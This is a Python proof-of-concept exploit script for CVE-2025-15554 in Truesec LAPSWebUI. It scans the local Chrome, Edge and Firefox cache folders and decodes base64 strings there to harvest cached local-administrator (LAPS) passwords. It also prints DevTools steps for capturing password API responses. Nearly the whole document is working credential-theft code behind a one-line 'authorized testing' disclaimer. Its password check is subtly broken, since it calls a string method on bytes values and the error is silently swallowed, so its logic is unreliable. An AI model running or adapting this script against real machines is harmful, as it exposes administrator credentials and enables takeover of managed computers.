# CVE-2025-15554 PoC - Truesec LAPSWebUI Browser Cache Password Disclosure
# This PoC demonstrates how to extract cached LAPS passwords from browser cache
import os
import re
import base64
from pathlib import Path
def find_browser_cache_paths():
"""Find potential browser cache directories"""
cache_paths = []
user_profile = os.environ.get('USERPROFILE', os.path.expanduser('~'))
# Chrome cache paths
chrome_cache = os.path.join(user_profile, 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'Default', 'Cache')
cache_paths.append(chrome_cache)
# Edge cache paths
edge_cache = os.path.join(user_profile, 'AppData', 'Local', 'Microsoft', 'Edge', 'User Data', 'Default', 'Cache')
cache_paths.append(edge_cache)
# Firefox cache paths
firefox_cache = os.path.join(user_profile, 'AppData', 'Local', 'Mozilla', 'Firefox', 'Profiles')
cache_paths.append(firefox_cache)
return [p for p in cache_paths if os.path.exists(p)]
def extract_cached_laps_passwords(cache_dir):
"""Extract potential LAPS passwords from cache files"""
found_passwords = []
try:
for root, dirs, files in os.walk(cache_dir):
for file in files:
file_path = os.path.join(root, file)
try:
with open(file_path, 'rb') as f:
content = f.read()
# Look for patterns indicating LAPS password data
# Pattern 1: Base64 encoded passwords
b64_pattern = re.compile(rb'[A-Za-z0-9+/=]{20,}')
for match in b64_pattern.finditer(content):
try:
decoded = base64.b64decode(match.group())
# Check if decoded content looks like a password
if len(decoded) >= 8 and len(decoded) <= 128:
if any(c.isalnum() or c in '!@#$%^&*' for c in decoded):
found_passwords.append({
'type': 'base64_encoded',
'encoded': match.group().decode('utf-8', errors='ignore'),
'decoded': decoded.decode('utf-8', errors='ignore')
})
except:
pass
except:
pass
except Exception as e:
print(f"Error scanning cache: {e}")
return found_passwords
def check_browser_devtools_cache():
"""Check for cached data in browser DevTools storage"""
print("[*] Checking browser DevTools Application tab storage...")
print("[*] Navigate to DevTools -> Application -> Storage -> Cache Storage")
print("[*] Look for requests to LAPSWebUI endpoints containing password data")
print("[*] Example endpoints:")
print(" - /api/password")
print(" - /api/laps/get-password")
print(" - /api/admin-password")
def main():
print("=" * 60)
print("CVE-2025-15554 - Truesec LAPSWebUI Password Cache Extraction PoC")
print("=" * 60)
print("\n[!] This PoC is for educational and authorized testing purposes only")
print("[+] Scanning browser cache directories...")
cache_paths = find_browser_cache_paths()
for cache_path in cache_paths:
print(f"\n[*] Scanning: {cache_path}")
passwords = extract_cached_laps_passwords(cache_path)
if passwords:
print(f"[!] Found {len(passwords)} potential LAPS passwords!")
for pwd in passwords:
print(f" Encoded: {pwd['encoded'][:50]}...")
print(f" Decoded: {pwd['decoded']}")
check_browser_devtools_cache()
print("\n[*] Alternative method: Use browser DevTools Network tab")
print("[*] 1. Open browser DevTools (F12)")
print("[*] 2. Go to Network tab")
print("[*] 3. Access LAPSWebUI and trigger password retrieval")
print("[*] 4. Find the API response containing password data")
print("[*] 5. Right-click -> Save to file")
print("[*] 6. Parse the saved JSON/response for password field")
if __name__ == '__main__':
main()